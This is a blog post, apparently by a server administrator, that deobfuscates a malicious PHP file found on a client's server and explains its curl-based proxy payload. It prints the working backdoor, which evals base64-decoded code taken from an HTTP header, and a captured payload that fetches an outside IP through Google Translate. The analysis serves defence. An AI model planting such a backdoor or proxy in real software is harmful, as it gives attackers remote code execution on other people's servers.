Unobfuscating an Attack
Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem. One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:
1 2 3 4 5 6 7 8 9 10 | access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
Obviously, the IPs have been removed to protect the innocent. What we can see from this log output is that there is an obvious scan of hackable Wordpress installations happening – and they look to come from our server.
After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable Wordpress installs. A remote machine would send requests to a group of servers hosting this PHP file:
1 2 | $_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65"; $_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.'); |
I have to give it to them, at least they obfuscated the code. It took a while before I realized the extent of their hidden code. Unobfuscating this file gives us:
1 2 | $_fcxxxcc="preg_replace"; preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.') |
Base 64 decoding this string gives us:
1 2 | if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b' and isset($_SERVER['HTTP_X_CODE'])) @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE']))); |
Finally, we’re getting somewhere!
Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system. But, what kind of payload are they sending to their script? Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for. After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | header("X_GZIP: TRUE"); header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17"); error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init(); curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15; curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1"; curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1"; curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1"; curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0; curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1"; curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1"; curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1"; curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9"))); /* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */ curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:""; curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0; curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs="))); // s:140:"http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html"; $response=curl_exec($cr); $md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info"); if(is_bool($response) and $response == false) { echo "<$md5_error>".curl_errno($cr)."|".curl_error($cr).""; exit; } echo "<$md5_info>".serialize(curl_getinfo($cr)).""; if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){ $response="GZIP|".base64_encode(gzdeflate($response,9)); } echo "<$md5_content>$response"; exit; |
The definition of the curl_setopt call is as follows:
bool curl_setopt ( resource $ch , int $option , mixed $value )
Let’s break down all of the Curl options we are setting here. Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:
- Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
- Option 19913 (CURLOPT_RETURNTRANSFER => “1”): Returns the value of curl_exec as a string.
- Option 42 (CURLOPT_HEADER => “1”): Includes the header in the output.
- Option 53 (CURLOPT_TRANSFERTEXT => “1”): Uses ASCII mode for FTP transfers.
- Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
- Option 19914 (CURLOPT_BINARYTRANSFER => “1”): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
- Option 64 (CURLOPT_SSL_VERIFYPEER => “1”):Verifiesthe site’s SSL certificate to be valid.
- Option 81 (CURLOPT_SSL_VERIFYHOST => “1”): Verifies the correct SSL hostname for the certificate.
- Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
- “Accept: /”: Specifies that all media is acceptable for response from the HTTP request
- “Accept-Language: en-us”: Specifies that we are looking for an English return.
- “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
- “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
- “Expect: “: Indicates that no behavior is required by the client.
- “Accept-Encoding: “: Indicates that we accept all encoding.
- “Keep Alive: 115”: Sets a keep-alive timeout of 115.
- “Referer: Sets a seemingly bogus referer, although this may be legit in some cases.
- Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
- Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
- Option 10002 (CURLOPT_URL): Sets the URL to fetch.
It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language. In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.
I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.
References and Attributions:
- PHP: curl_setopt
- RFC2616: Hypertext Transfer Protocol – HTTP/1.1
- Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.